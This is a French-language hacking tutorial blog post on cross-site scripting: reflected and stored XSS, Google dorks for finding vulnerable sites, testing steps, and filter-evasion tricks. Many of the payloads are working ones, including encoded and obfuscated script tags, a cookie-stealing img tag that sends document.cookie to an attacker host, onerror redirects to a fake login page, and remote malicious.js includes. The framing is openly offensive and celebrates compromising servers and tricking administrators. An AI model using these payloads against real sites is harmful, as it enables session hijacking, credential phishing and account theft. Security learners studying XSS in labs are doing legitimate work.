Tweet
SOMMAIRE
C'est quoi XSS
Les différents Type d'XSS
Encoding XSS
Bypasser les filtres
Exemple d'XSS
Conclusion
Vers un XSS avancé
Cross Site Scripting(XSS) Tutoriel complet pour débutants ~ Web Application vulnérabilité
C'est quoi XSS?
Cross Site Scripting également connu sous le nom de XSS, fait partie de la vulnérabilité d'application web la plus commune qui permet à un attaquant d'exécuter son propre scripts côté client (JavaScript, surtout) dans des pages web lus par d'autres utilisateurs.
Lors d'une attaque XSS typique, un hacker va injecter son code JavaScript malveillant dans le site Web légitime. Lorsqu'un utilisateur visite le lien spécialement conçu, il exécute le code JavaScript malicieux. Une vulnérabilité XSS exploitée avec succès permettra aux attaquants de faire des attaques phishing, de voler les comptes, Actions sur le site faillible, à l'insu de la victime et sous son identité (envoi de messages, suppression de données…), Rendre la lecture d'une page difficile (boucle infinie d'alertes par exemple).et même injecter des vers.
Exemple : Nous pouvons imaginer, un hacker ayant découvert une vulnérabilité XSS dans Gmail et va injecter un script malveillant. Quand un utilisateur visitera Gmail, il exécutera le script malveillant. Le code malveillant peut servir à rediriger les utilisateurs vers une fake page Gmail(Phishing) ou capturer des cookies. À l'aide de ces cookies volés, il peut ouvrir une session dans votre compte et modifier le mot de passe.
Le cross-site Scripting est abrégé XSS pour ne pas être confondu avec le CSS (feuilles de style)1, X se lisant « cross » (croix) en anglais.
Il vous sera facile de comprendre les XSS, si vous avez le prérequis suivant :
• Strong Knowledge in HTML,javascript(Reference).
• Basic Knowledge in HTTP client-Server Architecure(Reference)
• [optional]Basic Knowledge about server side programming(php,asp,jsp)
Tout comme le site Clever-age le souligne :
De nombreux langages interprétés existent et chacun apporte un certain nombre de fonctionnalités. Or, plus les fonctionnalités sont étendues plus le risque de les détourner de leur usage dit “standard” est important. Couramment, nous utilisons un navigateur web pour surfer sur la toile ; cet outil interprète de nombreux langages informatiques différents de manière plus ou moins transparente pour l’utilisateur. Il est possible d’exploiter cette caractéristique pour des usages douteux. Cet article présente plusieurs types d’exploitations possibles via des injections XSS.
Il souligne l'importance de la faille XSS comme étant la faiblesse de sécurité la plus répandue dans les applications web.
Il existe 2 types de Failles :
1) Reflected XSS (non persistante) :
Attaque XSS:
Étape 1 : Recherche Site Web vulnérables
les pirates utilisent des Google Dork pour trouver des sites vulnérables, par exemple
" ?recherche ' ou ' .php?q ' . 1337 Cible des sites spécifiques au lieu d'utiliser Google search. Si vous allez évaluer votre propre site, vous devez vérifier chaque page dans votre site pour la vulnérabilité.
Dork XSS: http://pastebin.com/ELNqbkRp
Étape 2: Test de la vulnérabilité :
Tout d'abord, nous devons trouver un champ d'entrée pour que nous puissions injecter notre propre script, par exemple : par exemple : zone de recherche, nom d'utilisateur, mot de passe , un livre d'or ou tout autre des champs de saisie. Ces espaces sont potentiellement dangereux.
Si vous voulez tester en Local afin de vous faire la main je vais vous fournir un script simple pour suivre la suite de cet exposé. Je mettrais des screens d'injection XSS réel également pour étayer le contenu.
Test 1:
Une fois que nous avons trouvé le champ de saisie, essayons de mettre une chaîne de caractères dans le champ, on va saisir «dreamus». Il affiche le résultat.
Maintenant, faites un clic droit sur la page et sélectionnez Afficher la source. Recherchez la chaîne « dreamus » où nous sommes entrés dans le champ de saisie. Notez l'emplacement où se trouve l'entrée.
Test 2:
Maintenant nous allons vérifier si le serveur assaini notre entrée ou pas. Pour ce faire, nous devons saisir <script> :
Afficher la source de la page. Trouver l'emplacement où l'entrée affiche la place comme dans le test précédent.
Dieu Merci, notre code n'est pas assaini (processus d'examen d'un document HTML pour produire un nouveau document HTML qui ne conserve que ce que les balises qui sont désignés «sûrs».) par le serveur et le code est juste identique à ce que nous sommes entrés dans le champ. Si le serveur assainissez nos entrées, le code peut ressembler à ceci <script>.
Cela indique que le site est vulnérable aux XSS attaque et que nous pouvons exécuter nos propres scripts.
Étape 3: Exploitation de la vulnérabilité
Maintenant nous savons que le site est vulnérable à l'attaque de XSS. Mais nous allons nous assurer que le site est complètement vulnérable à cette attaque en injectant un code de JavaScript complet et basique. Par exemple:
<script>alert('DreAmuS')</script>
Maintenant, il affichera une fenêtre pop-up avec la chaîne « DreAmuS ». Finalement, l'exploitation XSS est un succès. En étendant le code avec un script malveillant, un hacker peut voler les cookies ou défigurer le site et plus encore.
Ce type d'attaque pour l'instant est non-persistant car une fois cliqué sur "ok" vous revenez vers le site normalement. Cette attaque n'est pas stockée dans l'application, aucune trace ne sera visible sur le serveur. Mais attardons nous sur cette faille XSS et imaginons un instant que l'on puisse introduire une redirection de l'url vers un vers, un keylogger ou une page de phishing. A ce moment la si l'Admin ne vérifie pas l'url que vous lui envoyer en prétextant un souci de connections, un bug, …, il risque de se retrouver dans votre piège et s'il inscrit quoi que ce soit de compromettant vous serez alors dans la capacité de récupéré des mots de passe et autres. L'astuce réside dans la possibilité de falsifier suffisamment une url pour que la redirection passe inaperçus aux yeux de l'Admin.
Le plus aussi pour cette faille si banale pourtant est la récupération de Cookies. Lorsque l'utilisateur clique sur le lien, une requête contenant du code malicieux est envoyée vers le serveur, celui-ci va alors retourner une réponse contenant ce code à l'utilisateur (page, erreur). Le code injecté sera alors exécuté par le navigateur dans le même contexte que les scripts de l'application, permettant ainsi à l'attaquant de récupérer le cookie associé à l'utilisateur et d'envoyer ces informations vers un serveur sous son contrôle.
Je vous conseille d'en apprendre plus sur le JavaScript et ses applications afin de mieux comprendre la logique de ces attaques.
Bien tout ça mais c'est quoi le Cookie. Un cookie en informatique c’est un petit bloc de données sous forme d’un .txt forgé par un site web (http) et récupéré à la prochaine connexion. En effet vous l'avez compris les cookies sont géré par le protocole http.
Un petit exemple : vous allez pour la première fois sur un site web, vous vous logguez et
Cochez une case «connexion automatique», un cookie est forgé sur votre terminal (http), car à chaque fois que vous reviendrez sur le site web, vous serez loggué automatiquement car le site web aura vu votre cookie ! Donc on retrouve le cookie pour l'authentification, la reprise d'une session, une mise en favoris, et bien d'autres.
Vous voulez voir à quoi ça ressemble allez dans Menu > Options > Vie privée > Supprimer des cookies spécifiques et la vous avez tous les cookies enregistrés depuis sur votre navigateur FF. Attention à ne pas les supprimer sans faire gaffe.
Pour aller dans le dossier où sont stockés les cookies :
C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\nomdossier.default
Fichier : cookies.sqlite
Avec la faille XSS, nous pourrons voler le cookie de l’Admin et le modifier, afin que le site web nous reconnaisse en tant qu’Admin.
Les types de XSS Fondé sur la capacité persistant :
Selon la capacité de persistance, nous pouvons classer l'attaque XSS en deux types, à savoir les persistent et les Non-Persistent.
2) XSS persistante:
L'attaque persistantes ou XSS stocké se produit lorsque le code malveillant présenté par attaquant est enregistré par le serveur dans la base de données, et ensuite en permanence il se déroulera dans la page normale.
Par exemple : de nombreux sites Web hébergent un forum de support où les utilisateurs enregistrés peuvent poser leurs soucis ou contentement par message sous forme de commentaire, qui sont stockés dans la base de données du serveur. Imaginons, un poste d'un attaquant qui laisse un message contenant un code JavaScript malveillant. Si le serveur ne parvient pas à assainir les codes, il entraîne l'exécution du script injecté. Le code sera exécuté à chaque fois qu'un utilisateur essaiera de lire le post. Si le code injecté permet de voler les cookies, puis il va voler les cookies de tous les utilisateurs qui ont liront ce post. En utilisant le cookie, l'attaquant peut prendre le contrôle de votre compte. S'ils arrivent à prendre le compte de l'Admin, il pourra alors entré dans le panel du site.
XSS Non-Persistent:
XSS non-persistant,, également dénommé réfléchie XSS, est le type le plus commun de XSS que l'on trouve maintenant de nos jours. Dans ce type d'attaque, le code injecté sera envoyé au serveur via httpRequest. Le serveur incorpore l'entrée du fichier html et renvoie le dossier (HTTPResponse) au navigateur. Lorsque le navigateur exécute le fichier HTML, il exécute également le script intégré. Ce type de vulnérabilité XSS se produit fréquemment dans les champs de recherche.
Exemple:
Prenons un site d'hébergement de projet. Pour trouver notre projet favori, nous allons simplement saisir le mot associé dans la boîte de recherche. Lorsque la recherche est terminée, il affiche un message comme ceci: "résultats de la recherche pour votremot '. Si le serveur ne parvient pas à assainir la saisie correctement, il aura les résultats de l'exécution du script injecté.
Dans le cas des attaques XSS réfléchis, l'attaquant enverra le lien spécialement conçu pour tromper les victimes et leur demandera de cliquez sur le lien. Lorsque l'utilisateur clique sur le lien, le navigateur enverra le code injecté au serveur, le serveur réfléchie (relatif aux méthodes de réfraction on envoie on nous renvoie, le protocole http internet est basé sur cette méthode) l'attaque vers le navigateur de l'utilisateur. Le navigateur exécute le code. En plus de ces types, il est également un troisième type d'attaque appelée attaque XSS basés de DOM, je vais vous expliquer sur cette attaque dans les messages plus tard.
Comment trouver une telle faille ?
On a pus voir qu'il existait des Google Dork pour automatiser certaines recherche. Mais comment tester sur un site au hasard voire le notre ?
Méthodes de test et explications
Pour vérifier la présence d’une telle faille sur un site vulnérable, il suffit simplement d’injecter :
1 - Soit des caractères ayant une signification particulière dans l’interpréteur visé.
Attention : Les caractères à injecter dépendent du langage interprété !
Par exemple en HTML, il s’agit de :
• & (ampersand)
• " (double quote)
• ' (single quote)
• < (less than)
• > (greater than)
Les sites Web reposent sur le langage HTML, alors que des Web Services peuvent reposer sur d’autres langages comme :
• Le langage XML (WS via SOAP), il s’agit d’un langage proche du HTML, ici les caractères significatifs sont les mêmes qu’en HTML.
• Le langage JSON (WS REST via JSON ), les caractères significatifs ne sont pas les mêmes qu’en HTML ! Il y a en plus les caractères suivant :
o {
o }
o [
o ]
o :
o ,
• Il est donc nécessaire de prendre en compte ce point pour connaître les caractères interprétables et dangereux.
2 - Soit directement du code interprétable (HTML, JavaScript, Flash, CSS, etc.)
Une fois choisi, le code doit être injecté dans toutes les entrées utilisateurs possibles :
• Paramètre HTTP GET / POST
• Cookie (une attaque par le cookie sera possible seulement si le contenu est “url encodé”)
• Champs de formulaire
• Source de données quelconque utilisée par le site (fichiers, données échangées, BDD, flux, etc.)
•
Remarque : il paraît étrange de sécuriser les données en entrées dans un flux de données (au sens large, ex : fichiers, données échangées via une API, BDD, etc.) si on les protège à l’affichage ou vice-versa. Mais imaginons que l’on doive donner une copie de notre flux de données à un partenaire commercial ou l’inverse. Si une des couches n’est pas protégée, c’est l’application qui tombe.
Pour savoir si la faille est avérée, il faut vérifier si le script est interprété coté navigateur ou interpréteur. Pour cela il suffit d’analyser la réponse du serveur et de vérifier si les éléments injectés n’ont pas été ré-encodés pour les rendre non interprétable.
Remarque importante : pour simplifier les exemples qui suivent, nous allons nous concentrer sur les interpréteurs HTML, CSS, JavaScript (navigateur Web standard).
Conclusion de cette première partie :
Que peut faire un pirate avec cette vulnérabilité?
1. le Vol d'Identité et de Données Confidentielles (les détails de carte de crédit).
2. le fait d'Éviter la restriction dans les sites Internet.
3. Le détournement de session (voler session ou Hijacking)
4. Malware Attaque (attaque par logiciel malveillant)
5. Dégradation de Site Internet
6. les attaques de déni de service (Dos)
Bypasser Un filtre WAF
Parfois, les propriétaires du site utilisent des filtres XSS (WAF) pour protéger contre les attaques XSS vulnérabilité.
Pour exemple: si vous mettez l'alerte <script> ("salut") </ script>, le filtre va échapper le caractère "(quote), afin que le script ressorte ainsi:
<script>alert(>xss detected<)</script>
A cause de cela le script ne fonctionne pas. Dans ce cas, nous pouvons utiliser quelques astuces pour contourner le filtre. On va voir ensemble comment contourner la plupart des filtres connus.
1. Bypassing magic_quotes_gpc
Le magic_quotes_gpc = ON est un paramètre de PHP (configuré dans le fichier php.ini), il échappe chaque '(guillemets simples), "(guillemets doubles) et les remplacent avec un antislash \.
Par exemple:
<Script> alert ("salut"); </ script> sera filtré comme suit <script> alert (\ salut \) </ script> et donc le script ne fonctionnera pas.
C'est bien la méthode de filtrage connue, mais on peut facilement contourner ce filtre à l'aide de caractères ASCII à la place.
Pour exemple: alert ("salut") peut être converti en :
String.fromCharCode(97, 108, 101, 114, 116, 32, 40, 34, 115, 97, 108, 117, 116, 34, 41, 32, 32)
Ainsi le script entier d'écrira:
<script> String.fromCharCode(97, 108, 101, 114, 116, 32, 40, 34, 115, 97, 108, 117, 116, 34, 41, 32, 32)<script>
Dans ce cas, il n'y a pas "(guillemets) ou '(apostrophes) donc / et le filtre ne peut pas bloquer le script. Oui, on réussira à exécuter le script.
String.fromCharCode () est une fonction JavaScript qui convertit la valeur ASCII des caractères.
Comment convertir les valeurs ASCII?
Il ya quelques sites en ligne qui convertit en caractère ASCII. Mais je vous suggère d'utiliser :
Hackbar Mozilla addon .
Après l'avoir installer on peut avec F9 ouvrir son panneau ou le refermer. Un fois ouvert on clique XSS->String.fromCharCode()
Maintenant, il va apparaître une petite fenêtre. Entrez le code alert("salut"). Cliquez sur le bouton ok. Maintenant, nous avons notre code encodé en ASCII.
copier le code dans le <script> </ script> à l'intérieur et l'insérer dans les sites vulnérables.
Par Exemple:
http:// site-vulnerable/search?q= <script> String.fromCharCode(97, 108, 101, 114, 116, 32, 40, 34, 115, 97, 108, 117, 116, 34, 41, 32, 32)<script>
2. HEX Encoding
Nous pouvons encoder tout notre script en code HEX de sorte qu'il ne peut pas être filtré.
Par exemple: <script>alert ("Salut")</ script> peut être converti au format hexadécimal comme:
% 3c% 73% 63% 72% 69% 70% 74% 3e% 61% 6c% 65% 72% 74% 20% 28% 22% 53% 61% 6c% 75% 74% 22% 29% 3c% 2f% 20 % 73% 63% 72% 69% 70% 74% 3e% 20
Ce site vous permet d'encoder en Hexa et d'autres formats : http://www.asciitohex.com/
Mais si vous avez installé HackBar il le fait aussi.
http:// site-vulnerable /search?q=% 3c% 73% 63% 72% 69% 70% 74% 3e% 61% 6c% 65% 72% 74% 20% 28% 22% 53% 61% 6c% 75% 74% 22% 29% 3c% 2f% 20 % 73% 63% 72% 69% 70% 74% 3e% 20
Un autre exemple d'encoding en hexa avec img
<img src=javascript:alert('X& #x53S')>
La encore cet encodage donnera surement entier satisfaction en bypassant les filtres. C'est tout là la subtilité du hacker, savoir contourner donc Bypasser la défense proposer en essayant quand même de faire admettre donc injecter son code.
Si vous comprenez cela vous avez fait un pas dans le vrai hacking pas celui du du site lambda qui va vous dire on fait ci on fait ça mais pourquoi ? Dans quel But ? En vérité c'est la compromission, toujours la compromission la récupération de donnée, l'exaltation d'exploser le serveur adverse et lui mettre sa raclé en lui disant tu vis papa ben t'es bidon !!
Cela peut vous paraître vulgaire et pourtant l'essence même du hacking prends naissance la dans ces prochains chapitres. On va petit à petit voir le but du XSS, sa puissance en le poussant vers le MITM, le keylogging et bien d'autres.
Le SQL a peut-être encore de bels années devant lui mais soyons honnête en 2014 c'es la faille XSS et ses dérivées comme le MITM, Sniffage de réseau, malware compromission, Social Engineering et j'en passe qui prends la part belle.
Passons à une autre sorte de filtres.
3.Bypasser le filtre d'Obfuscation
Certain site administration ont mis script et alert dans une liste de mots à restreindre. Donc chaque fois que vous entrez ce mot clé, le filtre va le supprimer et donnera un message d'erreur comme "vous n'êtes pas autorisé à rechercher ce". On peut contourner ce cas.
Par exemple:
<ScRipt>ALeRt("salut")</sCRipT>
On peut aussi écrire ceci:
<scr < script >ipt > alealertrt ("salut") </scr </ script >ipt
On a changé les lettres en mettant tantôt une majuscule tantôt une minuscule. Ou on va casser le rythme afin de récupérer le contrôle du script sur la réécriture finale. Enfin, les techniques sont diverses et variées et dépendront des résultats retour de l'obfuscation de votre code. C'est ça aussi hackeur s'adapter aux aléas des sécurités.
Je vous présente 2 scripts open source l'un en js et l'autre en python qui permette de vous aider dans ce domaine :
https://code.google.com/p/xss-javascript-obfuscator/
Vous dé zipper vous cliquer sur HTML et puis vous l'utilisez. Pas très compliquez.
https://code.google.com/p/teenage-mu...ObfuscationXSS
Avec un fichier 'a' contenant des termes qui permettent le bypassage. Je ferais plus tard un tutorial sur TMT.
' " ' ' ""< > >> << <> >< <! <!-- --> /--> <!--/--> ]]> ]]>>
Téléchargez le, dé zippez :
Code:
root# ./tmntv(version).py
Code:
#!/bin/bash # -2- Installation et lancement de TMT ######################################################## #Script by DreAmus pour installation facile du script # ######################################################## cd /pentest/web/ echo "Installation de TMT" wget https://teenage-mutant-ninja-turtles.googlecode.com/files/tmnt_v1.9.1.rar unrar x tmnt_v1.9.1.rar rm tmnt_v1.9.1.rar cd tmnt_v1.9.1/ chmod +x tmntv1.9.1.py echo "Lancement du script" ./ tmnt_v1.9.1.py
./tmnt.sh voila !
J'écrirais mes scripts directement afin de vous facilitez le pianotage pour ceux qui peine en Linux.
4. Closing Tag ou Tag de Cloture
Ce sont les / qui ferment une balises Html. Lorsque les filtres cassent ce type de balise. Le problème est que <script> balise ne peut pas être fermé parce que le nom de fichier ne peut pas contenir un /. Cela signifie que le script n'est pas exécuté parce que tout ce qui suit est une partie du script, et tout l' HTML fera le JS invalide.
Défois en mettant "> cela passe:
"><script>alert("salut")</script>
Ou encore dans le cadre d'un bypassage élevé:
//|\\ <script //|\\ src='https://dl.dropbox.com/u/13018058/js.js'> //|\\ </script //|\\
Des exemples de ce type de code:
https://www.owasp.org/index.php/XSS_...on_Cheat_Sheet
4. Bypasser les filtres de < et >
De nombreuses applications qui mettent en œuvre une sorte de filtrage des "<" et ">" par le côté client. À première vue, cela ressemble à un moyen efficace de s'assurer que les balises <script> type HTML ne soient pas possibles. Malheureusement, non seulement du code côté client c'est facile à contourner, dans de nombreux cas, mais il peut être contourné en utilisant un mélange de représentations de caractères de remplacement et d'autres caractères spéciaux.
Envisager une routine qui supprime les "<" et ">" caractères spéciaux:
document.write (cleanSearchString ('<>'));
L'attaquant utilise maintenant un codage alternatif pour les caractères filtrés, "\x3C" et "\x3e" respectivement, et initialise le code avec ") +" pour s'échapper du filtrage.
') + '\x3cscript src=http://urlredirect/malicious.js\x3e\x3c/script\x3e'
On peut aussi se retrouver à Bypasser sur un post les commentaires :
Considérer l'application qui filtre le contenu pour le compte de clients il en faisant tout contenu de script pour être "en toute sécurité", a commenté sur. Par exemple,
<script>code</script>
une fois filtré deviens :
<COMMENT>
<!--
code (NON ANALYSÉ PAR LE FILTRE)
//-->
</COMMENT>
Pour contourner le filtre ce sera très facile. Ceci est accompli en incluant le code de script qui va fermer le commentaire <comment> : processus de filtrage. Par exemple, l'attaquant peut envoyer le code suivant:
<script>
- -->
</COMMENT>
<img src="http://none" onerror="alert(document.cookie);window.open( http://urlredirect/fakelogin.php); ">
</script>
On a Bypasser le filtre et on a pu faire une redirection vers un login fake qui récupérera les Id de celui qui s'y connectera. Bon vous comprenez que la connaissance de plusieurs types de langages web ainsi que beaucoup d'imagination permettent parfois à mettre en œuvre de beaux exploits.
Le XSS peut être codé également en html. En effet pour Bypasser on doit requérir à l'utilisation de l'html afin d'injecter le JavaScript.
<b onMouseOver = "self.location.href = 'http://urlredirect/'"> texte en gras </b>
Dans ce cas les balises <b> mettent le texte en gras et self location Href réagis différemment de document location :
self' , c'est la fenêtre de navigation, donc équivalent à Window. (window location )
'location', c'est un objet qui représente la 'location' d'un document. Cet objet hérite de 'url'
'href', c'est la propriété qui contient l'url du document. 'document', c'est le document en cours dans la fenêtre.
En fait, il n'est pas très correct de modifier la propriété Href directement. Il vaut mieux utiliser la méthode replace() : document.location.replace('http://www.google.fr')
Les possibilités en combinant les différents langages disponible côté client Html, Flash, Js… permettent de créé un sentiment d'insécurité sur ce type de Faille tout comme l'avais été SQL il y a une 10aine d'année en arrière.
Nouveau exemple :
<img src = "malicious.js">
<iframe = "malicious.js">
<Script> document.write ('<img src = "http://urlredirect/'+document.cookie+") </ script>
<a href="javascript:..."> cliquez-moi </a>
Je passe sur le net il y a assez d'exemples et je pense que le concept compris il faut ensuite progressez en étudiant ces langages et leurs applications.
J'ai eu des injections à faire du genre: <img src="javascript:window.replace('http://redirecturl')" > encodé ainsi :
%3Cimg%20src%3D%22javascript%3Awindow.replace%28%27http%3A%2f%2fredirecturl%27%29%22%20%3E%20
Parfois 2 encodages sont nécessaires successivement !!
Les possibilités sont infinies d'où la puissance de ce type d'injection surtout en 2014.
Voici quelques screens XSS by me pour vous montrer les possibilités. J'ai aussi fait quelques challenges sur le net où j'ai finis 1er, 3eme et 12eme sur des XSS réel de haut niveau. La je vous présente quelques sites que j'ai fait vite fait pour montrer que c'est bien réel.
Conclusion de ce Chapitre
Vérification de Vulnérabilité XSS
Pour découvrir si votre application est vulnérable à une attaque par insertion de code est souvent très simple. La clé réside dans l'analyse du contenu généré dynamiquement HTML côté client. Le processus suivant a été fréquemment utilisés dans le passé.
1. Pour chaque champ d'entrée visible (ceux-ci peuvent être situés dans un formulaire HTML, ou représentées dans l'URL par "variable ="), essayez les formats de scripts les plus évidents:
<script>alert(Faille)</script>
<img csstest=javascript:alert(Faille)>
&{alert('Faille')};
Dans tous les cas, si un message pop-up d'alerte avec le texte "Faille XSS" s'ouvre, l'application est vulnérable - plus précisément le champ de saisie viens de le vérifier.
2. Si, les scripts ci-dessus provoquent un affichage incorrect de la page HTML, l'application peut être vulnérable. Il faut juste essayer d'autres angles d'approche au niveau du code, mais on peut soupçonner que la faille est présente.
3. Pour chaque variable visible, soumettre/remplacer la chaîne suivante:
'';!<Faille>=&{()} (Notez que la chaîne commence par deux guillemets simples)
Sur la page résultante, recherchez la chaîne "<Faille>". Si vous découvrez "<Faille>", il est fort probable que l'application est vulnérable. Toutefois, si le mot Faille n'est plus enfermé dans quelque chose de semblable a %ltFaille%gt, alors il peut ne pas être vulnérable. Si l'entrée est affichée littéralement à n'importe quel point dans le document, il peut être utilisé pour détourner le flux d'exécution vers un payload fourni par le pirate.
4. Après avoir localisé le mot Faille, vérifier quels (le cas échéant) autres caractères ont être changés ou filtrés de la chaîne d'origine “'';!<Faille>= &{()}”. Selon les caractères filtrés, l'application peut encore être vulnérable.
5. En regardant de près le code HTML qu'on nous retourne, identifier la chaîne spécifique dont l'attaquant aurait besoin pour sortir de l'actuelle balise HTML ou séquence de code. Si ces caractères existent, non filtrée, dans les réponses à la chaîne de test de la partie 3 (ci-dessus) - alors il ya une forte chance que l'application est vulnérable.
6. En repartant des champs évidents, répéter le processus sur tous les champs cachés normalement non éditables par le client. La meilleure méthode pour le faire est par le biais d'un serveur proxy comme Achille ou WebProxy. Les serveurs proxy permettent d'éditer et modifier les requêtes HTTP lorsqu'ils quittent la demande du client, avant d'être finalement envoyé à l'application du serveur. Idéal lors de session hacking.
7. Dans de nombreux cas, les données seront communiquées via la requête HTTP GET. Tout au long, prendre note des parties de l'application potentiellement vulnérables qui exigent la commande HTTP POST pour envoyer des données.
Il s'agit d'un processus simple de transformer un POST dans une soumission GET. Si le composant d'application ne parvient pas à répondre à l'EEG de la même manière qu'il l'a fait pour la présentation du POST, il n'est probablement pas vulnérable à une URL basée en ligne attaque de script.
Nous verrons dans le chapitre II :
La vulnérabilité DOM basée Cross Site Scripting
Attaque XSS: Steal cookie, clickjacking, auto xss, phishing, Déface, Redirection URL, modification de la BDD.
Nous finirons par un chapitre III Technique avancé de XSS:
Injection d'un Keylogger par XSS
Travail sur un script proxy en python pour exploiter la faille XSS en sniffant le réseau(MIT).
ET Sécurité afin de se prémunir face à l'attaque XSS
Merci de me suivre sur mes tutos que je présente en PDF également pour qu'il soit portable. J'essais d'alterner entre les différentes matières dans le hacking qui est vaste. Et surtout ça me permet de pas m'ennuyer.
Je prépare 4 nouveaux PDF tous différents et toujours relatifs aux techniques modernes de hacking sur Kali,monitoring II,XSS et MIT.
Voici le pdf : Lien PDF
Et donc à bientôt vous l'avez compris la faille XSS promet encore 2 très long chapitre.
Commentaire